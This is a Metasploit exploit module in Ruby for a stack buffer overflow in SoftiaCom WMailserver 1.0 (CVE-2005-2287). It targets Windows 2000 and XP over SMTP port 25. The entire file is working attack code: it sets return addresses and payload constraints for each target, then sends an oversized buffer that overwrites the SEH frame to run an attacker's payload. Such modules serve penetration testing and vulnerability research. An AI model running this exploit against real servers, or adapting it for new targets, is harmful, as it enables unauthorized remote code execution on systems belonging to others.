require 'msf/core' module Msf class Exploits::Windows::Smtp::Wmailserver < Msf::Exploit::Remote include Exploit::Remote::Tcp include Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in SoftiaCom WMailserver 1.0 (SMTP) via a SEH frame overwrite. }, 'Author' => [ 'MC' ], 'Version' => '$Revision: 3110 $', 'References' => [ [ 'CVE', '2005-2287' ], [ 'BID', '14213' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Privileged' => true, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Targets' => [ [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 11 2005 ')) register_options([ Opt::RPORT(25) ], self.class) end def exploit connect filler = " " + rand_text_alpha_upper(5115) seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_alpha_upper(200) print_status("Trying target #{target.name}...") sock.put(sploit + "\r\n\r\n") handler disconnect end end end